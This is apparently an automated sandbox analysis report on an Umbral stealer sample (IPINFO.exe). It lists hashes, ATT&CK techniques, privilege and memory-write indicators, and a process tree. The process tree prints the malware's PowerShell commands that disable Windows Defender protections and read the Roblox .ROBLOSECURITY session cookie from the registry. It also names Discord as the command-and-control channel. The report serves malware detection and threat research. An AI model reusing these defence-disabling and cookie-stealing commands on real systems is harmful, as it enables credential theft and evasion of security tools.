umbral | f378696e692b4e4aef30f2476083c71fac866586440c60d77bc3d4849c7ff5f7

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
28-09-2024 18:49

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

IPINFO.exe
Size

231KB
MD5

abfb56d4a8d6c13c0e2c3c9e43a0b778
SHA1

b4a65f6ee69b61667444dea6ebdec7be5ef6f33f
SHA256

f378696e692b4e4aef30f2476083c71fac866586440c60d77bc3d4849c7ff5f7
SHA512

60784c9f40487e5ae8dd8695545f3027adc848325f6e82b16a41f94122d595b0a1138934795eac271893a17300ace0a5e960fb2de22583ad9be91746f57b443e
SSDEEP

6144:RloZMNrIkd8g+EtXHkv/iD4tFQxw2xpa3PyAxVkHRb8e1mfi:joZmL+EP8tFQxw2xpa3PyAxVkJN

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2132-1-0x0000000000D70000-0x0000000000DB0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1908	powershell.exe
2276	powershell.exe
2972	powershell.exe
532	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	discord.com
9	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1332	wmic.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1908	powershell.exe
2276	powershell.exe
2972	powershell.exe
2752	powershell.exe
532	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2132	IPINFO.exe
Token: SeDebugPrivilege	1908	powershell.exe
Token: SeDebugPrivilege	2276	powershell.exe
Token: SeDebugPrivilege	2972	powershell.exe
Token: SeDebugPrivilege	2752	powershell.exe
Token: SeIncreaseQuotaPrivilege	2632	wmic.exe
Token: SeSecurityPrivilege	2632	wmic.exe
Token: SeTakeOwnershipPrivilege	2632	wmic.exe
Token: SeLoadDriverPrivilege	2632	wmic.exe
Token: SeSystemProfilePrivilege	2632	wmic.exe
Token: SeSystemtimePrivilege	2632	wmic.exe
Token: SeProfSingleProcessPrivilege	2632	wmic.exe
Token: SeIncBasePriorityPrivilege	2632	wmic.exe
Token: SeCreatePagefilePrivilege	2632	wmic.exe
Token: SeBackupPrivilege	2632	wmic.exe
Token: SeRestorePrivilege	2632	wmic.exe
Token: SeShutdownPrivilege	2632	wmic.exe
Token: SeDebugPrivilege	2632	wmic.exe
Token: SeSystemEnvironmentPrivilege	2632	wmic.exe
Token: SeRemoteShutdownPrivilege	2632	wmic.exe
Token: SeUndockPrivilege	2632	wmic.exe
Token: SeManageVolumePrivilege	2632	wmic.exe
Token: 33	2632	wmic.exe
Token: 34	2632	wmic.exe
Token: 35	2632	wmic.exe
Token: SeIncreaseQuotaPrivilege	2632	wmic.exe
Token: SeSecurityPrivilege	2632	wmic.exe
Token: SeTakeOwnershipPrivilege	2632	wmic.exe
Token: SeLoadDriverPrivilege	2632	wmic.exe
Token: SeSystemProfilePrivilege	2632	wmic.exe
Token: SeSystemtimePrivilege	2632	wmic.exe
Token: SeProfSingleProcessPrivilege	2632	wmic.exe
Token: SeIncBasePriorityPrivilege	2632	wmic.exe
Token: SeCreatePagefilePrivilege	2632	wmic.exe
Token: SeBackupPrivilege	2632	wmic.exe
Token: SeRestorePrivilege	2632	wmic.exe
Token: SeShutdownPrivilege	2632	wmic.exe
Token: SeDebugPrivilege	2632	wmic.exe
Token: SeSystemEnvironmentPrivilege	2632	wmic.exe
Token: SeRemoteShutdownPrivilege	2632	wmic.exe
Token: SeUndockPrivilege	2632	wmic.exe
Token: SeManageVolumePrivilege	2632	wmic.exe
Token: 33	2632	wmic.exe
Token: 34	2632	wmic.exe
Token: 35	2632	wmic.exe
Token: SeIncreaseQuotaPrivilege	2576	wmic.exe
Token: SeSecurityPrivilege	2576	wmic.exe
Token: SeTakeOwnershipPrivilege	2576	wmic.exe
Token: SeLoadDriverPrivilege	2576	wmic.exe
Token: SeSystemProfilePrivilege	2576	wmic.exe
Token: SeSystemtimePrivilege	2576	wmic.exe
Token: SeProfSingleProcessPrivilege	2576	wmic.exe
Token: SeIncBasePriorityPrivilege	2576	wmic.exe
Token: SeCreatePagefilePrivilege	2576	wmic.exe
Token: SeBackupPrivilege	2576	wmic.exe
Token: SeRestorePrivilege	2576	wmic.exe
Token: SeShutdownPrivilege	2576	wmic.exe
Token: SeDebugPrivilege	2576	wmic.exe
Token: SeSystemEnvironmentPrivilege	2576	wmic.exe
Token: SeRemoteShutdownPrivilege	2576	wmic.exe
Token: SeUndockPrivilege	2576	wmic.exe
Token: SeManageVolumePrivilege	2576	wmic.exe
Token: 33	2576	wmic.exe
Token: 34	2576	wmic.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2132 wrote to memory of 1908	2132	IPINFO.exe	30
PID 2132 wrote to memory of 1908	2132	IPINFO.exe	30
PID 2132 wrote to memory of 1908	2132	IPINFO.exe	30
PID 2132 wrote to memory of 2276	2132	IPINFO.exe	32
PID 2132 wrote to memory of 2276	2132	IPINFO.exe	32
PID 2132 wrote to memory of 2276	2132	IPINFO.exe	32
PID 2132 wrote to memory of 2972	2132	IPINFO.exe	34
PID 2132 wrote to memory of 2972	2132	IPINFO.exe	34
PID 2132 wrote to memory of 2972	2132	IPINFO.exe	34
PID 2132 wrote to memory of 2752	2132	IPINFO.exe	36
PID 2132 wrote to memory of 2752	2132	IPINFO.exe	36
PID 2132 wrote to memory of 2752	2132	IPINFO.exe	36
PID 2132 wrote to memory of 2632	2132	IPINFO.exe	38
PID 2132 wrote to memory of 2632	2132	IPINFO.exe	38
PID 2132 wrote to memory of 2632	2132	IPINFO.exe	38
PID 2132 wrote to memory of 2576	2132	IPINFO.exe	41
PID 2132 wrote to memory of 2576	2132	IPINFO.exe	41
PID 2132 wrote to memory of 2576	2132	IPINFO.exe	41
PID 2132 wrote to memory of 2036	2132	IPINFO.exe	43
PID 2132 wrote to memory of 2036	2132	IPINFO.exe	43
PID 2132 wrote to memory of 2036	2132	IPINFO.exe	43
PID 2132 wrote to memory of 532	2132	IPINFO.exe	45
PID 2132 wrote to memory of 532	2132	IPINFO.exe	45
PID 2132 wrote to memory of 532	2132	IPINFO.exe	45
PID 2132 wrote to memory of 1332	2132	IPINFO.exe	47
PID 2132 wrote to memory of 1332	2132	IPINFO.exe	47
PID 2132 wrote to memory of 1332	2132	IPINFO.exe	47

C:\Users\Admin\AppData\Local\Temp\IPINFO.exe
"C:\Users\Admin\AppData\Local\Temp\IPINFO.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\IPINFO.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2752
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2632
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2576
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:532
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1332

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
4c15b7aa605f3c16b1343b5a1ff82a9e

SHA1
25f3b50fdd534872a6382c875f27227d7b7d2a54

SHA256
21ea2977b3104538300edb2f7a991de576021fdf008c1d08bd266ca4f0169782

SHA512
cb9854d74e3012971b8ba6c4a4a03e64a8f408fe69ac0c47683bdbb94404c3cb8b42a4f49fa56ad2532b21a81d476816fbbc39f8951c80edc54b663b97f6b586

Download Submit
memory/532-47-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/1908-10-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download
memory/1908-11-0x000007FEED7B0000-0x000007FEEE14D000-memory.dmp

Filesize
9.6MB

Download
memory/1908-15-0x000007FEED7B0000-0x000007FEEE14D000-memory.dmp

Filesize
9.6MB

Download
memory/1908-9-0x000007FEED7B0000-0x000007FEEE14D000-memory.dmp

Filesize
9.6MB

Download
memory/1908-8-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/1908-13-0x000007FEED7B0000-0x000007FEEE14D000-memory.dmp

Filesize
9.6MB

Download
memory/1908-12-0x000007FEED7B0000-0x000007FEEE14D000-memory.dmp

Filesize
9.6MB

Download
memory/1908-7-0x000007FEEDA6E000-0x000007FEEDA6F000-memory.dmp

Filesize
4KB

Download
memory/1908-14-0x000007FEED7B0000-0x000007FEEE14D000-memory.dmp

Filesize
9.6MB

Download
memory/2132-0-0x000007FEF5793000-0x000007FEF5794000-memory.dmp

Filesize
4KB

Download
memory/2132-2-0x000007FEF5790000-0x000007FEF617C000-memory.dmp

Filesize
9.9MB

Download
memory/2132-1-0x0000000000D70000-0x0000000000DB0000-memory.dmp

Filesize
256KB

Download
memory/2132-49-0x000007FEF5793000-0x000007FEF5794000-memory.dmp

Filesize
4KB

Download
memory/2132-52-0x000007FEF5790000-0x000007FEF617C000-memory.dmp

Filesize
9.9MB

Download
memory/2276-21-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/2276-22-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download